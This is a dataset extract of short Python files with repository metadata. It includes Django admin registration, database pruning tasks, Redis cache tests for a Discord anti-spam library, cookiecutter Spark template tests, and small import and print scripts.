] | null | null | null |
T2API/admin.py
|
hackhb18-T2/api
|
c42be466492d07d6451ff3145985cd8cc0927257
|
[
"Apache-2.0"
] | null | null | null |
from django.contrib import admin
from .models import Product, Device, ApiUser
# Register your models here.
admin.site.register(ApiUser)
admin.site.register(Product)
admin.site.register(Device)
| 19.6
| 44
| 0.80102
| 27
| 196
| 5.814815
| 0.481481
| 0.171975
| 0.324841
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.107143
| 196
| 9
| 45
| 21.777778
| 0.897143
| 0.132653
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.4
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
cde95f64bceac67574b5e997e56d9e994d0c8c41
| 327
|
py
|
Python
|
gym_electric_motor/visualization/__init__.py
|
magic-alt/gym-electric-motor
|
39b63e2de79840528c24515703777a92e95edd40
|
[
"MIT"
] | 179
|
2019-10-21T15:08:05.000Z
|
2022-03-29T08:46:13.000Z
|
gym_electric_motor/visualization/__init__.py
|
magic-alt/gym-electric-motor
|
39b63e2de79840528c24515703777a92e95edd40
|
[
"MIT"
] | 149
|
2019-12-16T16:02:00.000Z
|
2022-03-18T19:42:33.000Z
|
gym_electric_motor/visualization/__init__.py
|
magic-alt/gym-electric-motor
|
39b63e2de79840528c24515703777a92e95edd40
|
[
"MIT"
] | 36
|
2019-12-10T17:32:02.000Z
|
2022-03-16T20:54:18.000Z
|
from .console_printer import ConsolePrinter
from .motor_dashboard import MotorDashboard
from ..utils import register_class
from .. import ElectricMotorVisualization
register_class(ConsolePrinter, ElectricMotorVisualization, 'ConsolePrinter')
register_class(MotorDashboard, ElectricMotorVisualization, 'MotorDashboard')
| 40.875
| 77
| 0.853211
| 28
| 327
| 9.785714
| 0.428571
| 0.142336
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.091743
| 327
| 8
| 78
| 40.875
| 0.922559
| 0
| 0
| 0
| 0
| 0
| 0.087227
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0.166667
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
cdfe8a94f3b3f47218fe72de91cfc4eb4b14d305
| 154
|
py
|
Python
|
Birnn_Transformer/ncc/optimizers/torch_optimizers/__init__.py
|
code-backdoor/code-backdoor
|
1eeb3d79aa8a54c8f08e8d0156b569de5edd974e
|
[
"MIT"
] | 71
|
2020-12-04T02:18:13.000Z
|
2022-03-30T15:19:50.000Z
|
ncc/optimizers/torch_optimizers/__init__.py
|
hrshy0629/naturalcc
|
9c3329dd8387c8242deb52bf590ebe3ac795f8de
|
[
"MIT"
] | 4
|
2021-03-10T17:48:50.000Z
|
2022-03-13T10:42:22.000Z
|
ncc/optimizers/torch_optimizers/__init__.py
|
hrshy0629/naturalcc
|
9c3329dd8387c8242deb52bf590ebe3ac795f8de
|
[
"MIT"
] | 11
|
2020-12-09T12:17:44.000Z
|
2022-03-30T09:02:13.000Z
|
from .sgd import TorchSGD
from .adam import TorchAdam
from .adamw import TorchAdamW
from .adagrad import TorchAdagrad
from .adadelta import TorchAdadelta
| 25.666667
| 35
| 0.837662
| 20
| 154
| 6.45
| 0.6
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.12987
| 154
| 5
| 36
| 30.8
| 0.962687
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
a80d8323779338b0309cc610007e896fb8bdbd22
| 2,688
|
py
|
Python
|
backend/ibutsu_server/tasks/db.py
|
mshriver/ibutsu-server
|
6225fbff8e5018999569a3ee79c2946016aca3c5
|
[
"MIT"
] | null | null | null |
backend/ibutsu_server/tasks/db.py
|
mshriver/ibutsu-server
|
6225fbff8e5018999569a3ee79c2946016aca3c5
|
[
"MIT"
] | null | null | null |
backend/ibutsu_server/tasks/db.py
|
mshriver/ibutsu-server
|
6225fbff8e5018999569a3ee79c2946016aca3c5
|
[
"MIT"
] | null | null | null |
""" Tasks for DB related things"""
from datetime import datetime
from datetime import timedelta
from ibutsu_server.db.base import session
from ibutsu_server.db.models import Artifact
from ibutsu_server.db.models import Result
from ibutsu_server.db.models import Run
from ibutsu_server.tasks import task
DAYS_IN_MONTH = 30
@task
def prune_old_files(months=5):
"""Delete artifact files older than specified months (here defined as 30 days)."""
try:
if isinstance(months, str):
months = int(months)
if months < 2:
# we don't want to remove files more recent than 2 months
return
max_date = datetime.utcnow() - timedelta(days=months * DAYS_IN_MONTH)
# delete artifact files older than max_date
delete_statement = Artifact.__table__.delete().where(Artifact.upload_date < max_date)
session.execute(delete_statement)
session.commit()
except Exception:
# we don't want to continually retry this task
return
@task
def prune_old_results(months=6):
"""
Remove results older than specified months (here defined as 30 days).
IMPORTANT NOTE: to avoid primary key errors, 'months' must be greater than what is used
in 'prune_old_files'
"""
try:
if isinstance(months, str):
months = int(months)
if months < 4:
# we don't want to remove files more recent than 4 months
return
max_date = datetime.utcnow() - timedelta(days=months * DAYS_IN_MONTH)
# delete artifact files older than max_date
delete_statement = Result.__table__.delete().where(Result.start_time < max_date)
session.execute(delete_statement)
session.commit()
except Exception:
# we don't want to continually retry this task
return
@task
def prune_old_runs(months=12):
"""
Remove runs older than specified months (here defined as 30 days).
IMPORTANT NOTE: to avoid primary key errors, 'months' must be greater than what is used
in 'prune_old_results'
"""
try:
if isinstance(months, str):
months = int(months)
if months < 10:
# we don't want to remove files more recent than 10 months
return
max_date = datetime.utcnow() - timedelta(days=months * DAYS_IN_MONTH)
# delete artifact files older than max_date
delete_statement = Run.__table__.delete().where(Run.start_time < max_date)
session.execute(delete_statement)
session.commit()
except Exception:
# we don't want to continually retry this task
return
| 31.623529
| 93
| 0.656994
| 354
| 2,688
| 4.838983
| 0.237288
| 0.036778
| 0.021016
| 0.035026
| 0.789842
| 0.778751
| 0.726211
| 0.726211
| 0.726211
| 0.701109
| 0
| 0.010209
| 0.271205
| 2,688
| 84
| 94
| 32
| 0.864216
| 0.344494
| 0
| 0.638298
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.06383
| false
| 0
| 0.148936
| 0
| 0.340426
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
a81a84426e421f8b834dfff8fc82d78a3f1d1568
| 233
|
py
|
Python
|
src/event/providers/eventbrite_provider/settings.py
|
alexshin/event-app-api
|
f82b980819c1b9acc3ee7fb9b4fde8a17a9f8afb
|
[
"MIT"
] | null | null | null |
src/event/providers/eventbrite_provider/settings.py
|
alexshin/event-app-api
|
f82b980819c1b9acc3ee7fb9b4fde8a17a9f8afb
|
[
"MIT"
] | 7
|
2020-02-11T23:19:09.000Z
|
2022-02-10T10:30:25.000Z
|
src/event/providers/eventbrite_provider/settings.py
|
alexshin/event-app-api
|
f82b980819c1b9acc3ee7fb9b4fde8a17a9f8afb
|
[
"MIT"
] | null | null | null |
from os import getenv
from django.conf import settings
EVENTBRITE_OAUTH_TOKEN = getattr(settings, 'EVENTBRITE_OAUTH_TOKEN', getenv('EVENTBRITE_OAUTH_TOKEN'))
EVENTBRITE_PROVIDER_ID = getattr(settings, 'EVENTBRITE_OAUTH_TOKEN', 1)
| 29.125
| 102
| 0.828326
| 30
| 233
| 6.1
| 0.466667
| 0.327869
| 0.437158
| 0.459016
| 0.382514
| 0
| 0
| 0
| 0
| 0
| 0
| 0.004717
| 0.090129
| 233
| 7
| 103
| 33.285714
| 0.858491
| 0
| 0
| 0
| 0
| 0
| 0.283262
| 0.283262
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
b530982facff55b35d10c4c7f7a2304627c1b5df
| 128
|
py
|
Python
|
githubprint.py
|
jwb1993/github920
|
d281e76c22e50876a61940ca1717b47d98bbd5b5
|
[
"Apache-2.0"
] | null | null | null |
githubprint.py
|
jwb1993/github920
|
d281e76c22e50876a61940ca1717b47d98bbd5b5
|
[
"Apache-2.0"
] | null | null | null |
githubprint.py
|
jwb1993/github920
|
d281e76c22e50876a61940ca1717b47d98bbd5b5
|
[
"Apache-2.0"
] | null | null | null |
import tensorflow as tf
print("hello Github 1")
print("hello Github 2")
print("hello Github 31")
print('82')
| 9.846154
| 25
| 0.617188
| 18
| 128
| 4.388889
| 0.611111
| 0.379747
| 0.607595
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.063158
| 0.257813
| 128
| 12
| 26
| 10.666667
| 0.768421
| 0
| 0
| 0
| 0
| 0
| 0.391304
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.2
| 0
| 0.2
| 0.8
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
b54378ceee592e2aa351d7f6d3a3e1f2a0243f32
| 106
|
py
|
Python
|
enthought/permissions/i_policy_manager.py
|
enthought/etsproxy
|
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
|
[
"BSD-3-Clause"
] | 3
|
2016-12-09T06:05:18.000Z
|
2018-03-01T13:00:29.000Z
|
enthought/permissions/i_policy_manager.py
|
enthought/etsproxy
|
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
|
[
"BSD-3-Clause"
] | 1
|
2020-12-02T00:51:32.000Z
|
2020-12-02T08:48:55.000Z
|
enthought/permissions/i_policy_manager.py
|
enthought/etsproxy
|
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
|
[
"BSD-3-Clause"
] | null | null | null |
# proxy module
from __future__ import absolute_import
from apptools.permissions.i_policy_manager import *
| 26.5
| 51
| 0.858491
| 14
| 106
| 6
| 0.785714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.103774
| 106
| 3
| 52
| 35.333333
| 0.884211
| 0.113208
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
b571f210bcd1428c410a0c0e30983d6de87606ce
| 40
|
py
|
Python
|
telluricpy/vtkTools/__init__.py
|
grosenkj/telluricpy
|
bccb372404a035c7dcdce53d5facdee0cdbee229
|
[
"MIT"
] | null | null | null |
telluricpy/vtkTools/__init__.py
|
grosenkj/telluricpy
|
bccb372404a035c7dcdce53d5facdee0cdbee229
|
[
"MIT"
] | 3
|
2016-06-09T17:41:57.000Z
|
2018-06-13T16:54:32.000Z
|
telluricpy/vtkTools/__init__.py
|
grosenkj/telluricpy
|
bccb372404a035c7dcdce53d5facdee0cdbee229
|
[
"MIT"
] | 1
|
2018-06-08T07:32:21.000Z
|
2018-06-08T07:32:21.000Z
|
import extraction, polydata, dataset, io
| 40
| 40
| 0.825
| 5
| 40
| 6.6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1
| 40
| 1
| 40
| 40
| 0.916667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
a92585e936c6c15bd77f71ac8b1cbe50dea2d1c2
| 142
|
py
|
Python
|
strainflye/tests/test_utils.py
|
fedarko/strainFlye
|
3666eea5b68331ba2d827d6e0ddbcd0f8dc975de
|
[
"BSD-3-Clause"
] | 1
|
2021-12-02T02:13:54.000Z
|
2021-12-02T02:13:54.000Z
|
strainflye/tests/test_utils.py
|
fedarko/strainFlye
|
3666eea5b68331ba2d827d6e0ddbcd0f8dc975de
|
[
"BSD-3-Clause"
] | 6
|
2022-01-31T12:06:32.000Z
|
2022-03-09T08:20:29.000Z
|
strainflye/tests/test_utils.py
|
fedarko/strainFlye
|
3666eea5b68331ba2d827d6e0ddbcd0f8dc975de
|
[
"BSD-3-Clause"
] | null | null | null |
def test_something():
# (i'm going to delete this later, i just wanna make sure gh actions/etc.
# is set up ok)
assert 2 + 2 == 4
| 28.4
| 77
| 0.626761
| 26
| 142
| 3.384615
| 0.923077
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.029126
| 0.274648
| 142
| 4
| 78
| 35.5
| 0.825243
| 0.598592
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0.5
| true
| 0
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
a9457814ccea3b341d57715c76286d1373a20517
| 109
|
py
|
Python
|
models/card_collection/__init__.py
|
12lol12lol12lol/user-service
|
16bdcdd9ae915b1a580a8f7bca2220f9980cce52
|
[
"MIT"
] | null | null | null |
models/card_collection/__init__.py
|
12lol12lol12lol/user-service
|
16bdcdd9ae915b1a580a8f7bca2220f9980cce52
|
[
"MIT"
] | null | null | null |
models/card_collection/__init__.py
|
12lol12lol12lol/user-service
|
16bdcdd9ae915b1a580a8f7bca2220f9980cce52
|
[
"MIT"
] | 1
|
2021-11-29T06:03:07.000Z
|
2021-11-29T06:03:07.000Z
|
from .collection import (CardCollectionCreateModel, CardCollectionModel,
CardModel)
| 36.333333
| 72
| 0.669725
| 6
| 109
| 12.166667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.284404
| 109
| 2
| 73
| 54.5
| 0.935897
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
a97681abcc932d3ae22be62d45f13c1d0fd171a4
| 108
|
py
|
Python
|
install_conan_packages.py
|
voltengine/volt-cli
|
f81fb169d523c3acc5b67fd10161e38b0083b22d
|
[
"MIT"
] | null | null | null |
install_conan_packages.py
|
voltengine/volt-cli
|
f81fb169d523c3acc5b67fd10161e38b0083b22d
|
[
"MIT"
] | null | null | null |
install_conan_packages.py
|
voltengine/volt-cli
|
f81fb169d523c3acc5b67fd10161e38b0083b22d
|
[
"MIT"
] | null | null | null |
import os
os.system('conan install -s build_type=Release -if build .')
input('Press ENTER to continue...')
| 21.6
| 60
| 0.722222
| 17
| 108
| 4.529412
| 0.882353
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.12963
| 108
| 4
| 61
| 27
| 0.819149
| 0
| 0
| 0
| 0
| 0
| 0.675926
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
a9985b6e640aef0e051a01f1198d65362b3a5035
| 222
|
py
|
Python
|
plresult_command.py
|
bhavyagaur99/routine-calculator
|
4a30f693781bf9da4f8b7c11b1b859e6e9676580
|
[
"MIT"
] | null | null | null |
plresult_command.py
|
bhavyagaur99/routine-calculator
|
4a30f693781bf9da4f8b7c11b1b859e6e9676580
|
[
"MIT"
] | null | null | null |
plresult_command.py
|
bhavyagaur99/routine-calculator
|
4a30f693781bf9da4f8b7c11b1b859e6e9676580
|
[
"MIT"
] | null | null | null |
import global_resource as gr
def print_last_result():
if gr.last_cal_result:
print("last result was:")
print(gr.last_cal_result)
else:
print("you have not performed calculation till now")
| 22.2
| 60
| 0.675676
| 32
| 222
| 4.46875
| 0.625
| 0.125874
| 0.20979
| 0.20979
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.243243
| 222
| 9
| 61
| 24.666667
| 0.85119
| 0
| 0
| 0
| 0
| 0
| 0.265766
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.142857
| true
| 0
| 0.142857
| 0
| 0.285714
| 0.571429
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
8d63e753cd63987da4114bec0f42a4d129b22545
| 6,485
|
py
|
Python
|
tests/test_redis_cache.py
|
Skelmis/Discord-Anti-Spam
|
6b0db01cb6363f84d729c240ea4b9679d509222e
|
[
"MIT"
] | 17
|
2021-11-22T07:29:07.000Z
|
2022-03-23T12:09:40.000Z
|
tests/test_redis_cache.py
|
Skelmis/Discord-Anti-Spam
|
6b0db01cb6363f84d729c240ea4b9679d509222e
|
[
"MIT"
] | 25
|
2021-11-17T20:19:22.000Z
|
2022-03-30T09:05:35.000Z
|
tests/test_redis_cache.py
|
Skelmis/Discord-Anti-Spam
|
6b0db01cb6363f84d729c240ea4b9679d509222e
|
[
"MIT"
] | 2
|
2021-12-18T17:40:11.000Z
|
2022-02-16T03:25:17.000Z
|
import orjson as json
import pytest
from attr import asdict
from antispam import GuildNotFound, MemberNotFound, Options
from antispam.dataclasses import Guild, Member, Message
from antispam.enums import ResetType
from antispam.factory import FactoryBuilder
class TestRedisCache:
@pytest.mark.asyncio
async def test_redis_init(self, create_redis_cache):
# Coverage
await create_redis_cache.initialize()
@pytest.mark.asyncio
async def test_get_guild(self, create_redis_cache):
with pytest.raises(GuildNotFound):
await create_redis_cache.get_guild(1)
create_redis_cache.redis.cache["GUILD:1"] = json.dumps(
asdict(Guild(1), recurse=True)
)
val = await create_redis_cache.get_guild(1)
assert val
assert isinstance(val, Guild)
@pytest.mark.asyncio
async def test_set_guild(self, create_redis_cache):
assert not create_redis_cache.redis.cache
await create_redis_cache.set_guild(Guild(1, Options()))
assert create_redis_cache.redis.cache
@pytest.mark.asyncio
async def test_get_member(self, create_redis_cache):
await create_redis_cache.set_guild(Guild(1, Options()))
with pytest.raises(MemberNotFound):
await create_redis_cache.get_member(1, 1)
await create_redis_cache.set_member(Member(1, 1))
val = await create_redis_cache.get_member(1, 1)
assert val
assert isinstance(val, Member)
@pytest.mark.asyncio
async def test_set_member(self, create_redis_cache):
await create_redis_cache.set_member(Member(1, 1))
await create_redis_cache.set_member(Member(2, 1))
r_1 = await create_redis_cache.get_guild(1)
assert len(r_1.members) == 2
await create_redis_cache.set_guild(Guild(1, Options()))
r_2 = await create_redis_cache.get_guild(1)
assert len(r_2.members) == 0
await create_redis_cache.set_member(Member(1, 1))
r_3 = await create_redis_cache.get_guild(1)
assert len(r_3.members) == 1
@pytest.mark.asyncio
async def test_add_message_raw(self, create_redis_cache):
"""Test without a pre-filled cache"""
await create_redis_cache.add_message(Message(1, 2, 3, 4, "Content"))
r_1 = await create_redis_cache.get_guild(3)
assert len(r_1.members) == 1
assert len(r_1.members[4].messages) == 1
@pytest.mark.asyncio
async def test_add_message_filled_guild(self, create_redis_cache):
"""Test with an existing guild"""
await create_redis_cache.set_guild(Guild(3, Options()))
await create_redis_cache.add_message(Message(1, 2, 3, 4, "Content"))
r_1 = await create_redis_cache.get_member(4, 3)
r_2 = await create_redis_cache.get_guild(3)
assert len(r_2.members) == 1
assert len(r_1.messages) == 1
@pytest.mark.asyncio
async def test_add_message_filled(self, create_redis_cache):
"""Test with a pre-filled member"""
await create_redis_cache.set_member(Member(4, 3))
await create_redis_cache.add_message(Message(1, 2, 3, 4, "Content"))
r_1 = await create_redis_cache.get_guild(3)
assert len(r_1.members) == 1
assert len(r_1.members[4].messages) == 1
@pytest.mark.asyncio
async def test_reset_member_count(self, create_redis_cache):
await create_redis_cache.set_member(Member(1, 1, kick_count=1, warn_count=2))
member = await create_redis_cache.get_member(1, 1)
assert (member.kick_count, member.warn_count) == (1, 2)
await create_redis_cache.reset_member_count(1, 1, ResetType.KICK_COUNTER)
member = await create_redis_cache.get_member(1, 1)
assert (member.kick_count, member.warn_count) == (0, 2)
await create_redis_cache.reset_member_count(1, 1, ResetType.WARN_COUNTER)
member = await create_redis_cache.get_member(1, 1)
assert (member.kick_count, member.warn_count) == (0, 0)
@pytest.mark.asyncio
async def test_get_all_members(self, create_redis_cache):
with pytest.raises(GuildNotFound):
await FactoryBuilder.get_all_members_as_list(create_redis_cache, 1)
await create_redis_cache.set_member(Member(1, 1))
await create_redis_cache.set_member(Member(2, 1))
await create_redis_cache.set_member(Member(3, 1))
members = await FactoryBuilder.get_all_members_as_list(create_redis_cache, 1)
assert len(members) == 3
assert members == [Member(1, 1), Member(2, 1), Member(3, 1)]
@pytest.mark.asyncio
async def test_get_all_guilds(self, create_redis_cache):
guilds = await FactoryBuilder.get_all_guilds_as_list(create_redis_cache)
assert len(guilds) == 0
await create_redis_cache.set_guild(Guild(1, Options()))
guilds = await FactoryBuilder.get_all_guilds_as_list(create_redis_cache)
assert len(guilds) == 1
await create_redis_cache.set_guild(Guild(2, Options()))
guilds = await FactoryBuilder.get_all_guilds_as_list(create_redis_cache)
assert len(guilds) == 2
assert guilds == [Guild(1, Options()), Guild(2, Options())]
@pytest.mark.asyncio
async def test_delete_guild(self, create_redis_cache):
guilds = await FactoryBuilder.get_all_guilds_as_list(create_redis_cache)
assert len(guilds) == 0
await create_redis_cache.delete_guild(1)
guilds = await FactoryBuilder.get_all_guilds_as_list(create_redis_cache)
assert len(guilds) == 0
await create_redis_cache.set_guild(Guild(1))
guilds = await FactoryBuilder.get_all_guilds_as_list(create_redis_cache)
assert len(guilds) == 1
await create_redis_cache.delete_guild(1)
guilds = await FactoryBuilder.get_all_guilds_as_list(create_redis_cache)
assert len(guilds) == 0
@pytest.mark.asyncio
async def test_delete_member(self, create_redis_cache):
await create_redis_cache.delete_member(1, 2)
await create_redis_cache.set_guild(Guild(2))
await create_redis_cache.delete_member(1, 2)
guild = await create_redis_cache.get_guild(2)
guild.members[1] = Member(1, 2)
await create_redis_cache.set_guild(guild)
assert len(guild.members) == 1
await create_redis_cache.delete_member(1, 2)
g = await create_redis_cache.get_guild(2)
assert len(g.members) == 0
| 37.270115
| 85
| 0.694063
| 925
| 6,485
| 4.562162
| 0.08
| 0.172986
| 0.265403
| 0.223934
| 0.840758
| 0.801896
| 0.761374
| 0.677251
| 0.614692
| 0.541706
| 0
| 0.025832
| 0.212028
| 6,485
| 173
| 86
| 37.485549
| 0.8
| 0.001234
| 0
| 0.456
| 0
| 0
| 0.004396
| 0
| 0
| 0
| 0
| 0
| 0.24
| 1
| 0
| false
| 0
| 0.056
| 0
| 0.064
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
8d91c4fceb6e107bb605b0ea8245333d52a5ecaf
| 4,454
|
py
|
Python
|
tests/projects/test_spark.py
|
datamindedbe/datafy-templates
|
041c62c6c8229cd740cec6cedb3a19efc2c64db5
|
[
"MIT"
] | 1
|
2021-11-08T09:07:27.000Z
|
2021-11-08T09:07:27.000Z
|
tests/projects/test_spark.py
|
datamindedbe/datafy-templates
|
041c62c6c8229cd740cec6cedb3a19efc2c64db5
|
[
"MIT"
] | 4
|
2021-02-09T13:05:02.000Z
|
2021-12-20T09:59:48.000Z
|
tests/projects/test_spark.py
|
datamindedbe/datafy-templates
|
041c62c6c8229cd740cec6cedb3a19efc2c64db5
|
[
"MIT"
] | 1
|
2021-03-25T18:21:24.000Z
|
2021-03-25T18:21:24.000Z
|
import os
import subprocess
def test_spark_template(cookies):
result = cookies.bake(
template=f"{os.path.dirname(os.path.abspath(__file__))}/../../project/spark",
extra_context={},
)
assert 0 == result.exit_code, result.exception
assert result.exception is None
assert result.project.isdir()
def test_spark_template_no_role(cookies):
result = cookies.bake(
template=f"{os.path.dirname(os.path.abspath(__file__))}/../../project/spark",
extra_context={"datafy_managed_role": False},
)
assert 0 == result.exit_code, result.exception
assert result.exception is None
assert result.project.isdir()
assert not (result.project + "/resources").isdir()
def test_spark_streaming_2_4(cookies):
result = cookies.bake(
template=f"{os.path.dirname(os.path.abspath(__file__))}/../../project/spark",
extra_context={"project_type": "streaming", "spark_version": "2.4"},
)
assert -1 == result.exit_code, result.exception
assert result.exception is not None
def test_spark_spark_3_0_scala_2_11(cookies):
result = cookies.bake(
template=f"{os.path.dirname(os.path.abspath(__file__))}/../../project/spark",
extra_context={"scala_version": "2.11", "spark_version": "3.0"},
)
assert -1 == result.exit_code, result.exception
assert result.exception is not None
def test_spark_project_type_batch(cookies):
result = cookies.bake(
template=f"{os.path.dirname(os.path.abspath(__file__))}/../../project/spark",
extra_context={"project_type": "batch"},
)
assert 0 == result.exit_code, result.exception
assert result.exception is None
assert_batch_files(result, exist=True)
assert_streaming_files(result, exist=False)
def test_spark_project_type_streaming(cookies):
result = cookies.bake(
template=f"{os.path.dirname(os.path.abspath(__file__))}/../../project/spark",
extra_context={"project_type": "streaming"},
)
assert 0 == result.exit_code, result.exception
assert result.exception is None
assert_batch_files(result, exist=False)
assert_streaming_files(result, exist=True)
def test_spark_project_type_batch_and_streaming(cookies):
result = cookies.bake(
template=f"{os.path.dirname(os.path.abspath(__file__))}/../../project/spark",
extra_context={"project_type": "batch-and-streaming"},
)
assert 0 == result.exit_code, result.exception
assert result.exception is None
assert_batch_files(result, exist=True)
assert_streaming_files(result, exist=True)
def assert_streaming_files(result, exist: bool = True):
assert (result.project + "/streaming.yaml").isfile() == exist
assert (
result.project + "/src/main/scala/cloud/datafy/spark/StreamingApp.scala"
).isfile() == exist
def assert_batch_files(result, exist: bool = True):
assert (result.project + "/dags").isdir() == exist
assert (
result.project + "/src/main/scala/cloud/datafy/spark/SampleJob.scala"
).isfile() == exist
assert (
result.project + "/src/main/scala/cloud/datafy/spark/transformations"
).isdir() == exist
def assert_tests_run_without_compilation_issues(result):
assert 0 == result.exit_code, result.exception
assert result.exception is None
process = subprocess.Popen(
["./gradlew", "test"],
cwd=result.project,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
(
stdout,
stderr,
) = process.communicate() # You can use stoud and sterr to find out what went wrong
return_code = process.poll()
assert return_code == 0, stderr
def test_spark_template_spark_3(cookies):
"""
This test makes sure that when a project with spark 3 support is being rendered the tests can be run
"""
result = cookies.bake(
template=f"{os.path.dirname(os.path.abspath(__file__))}/../../project/spark",
extra_context={"spark_version": "3.0"},
)
assert_tests_run_without_compilation_issues(result)
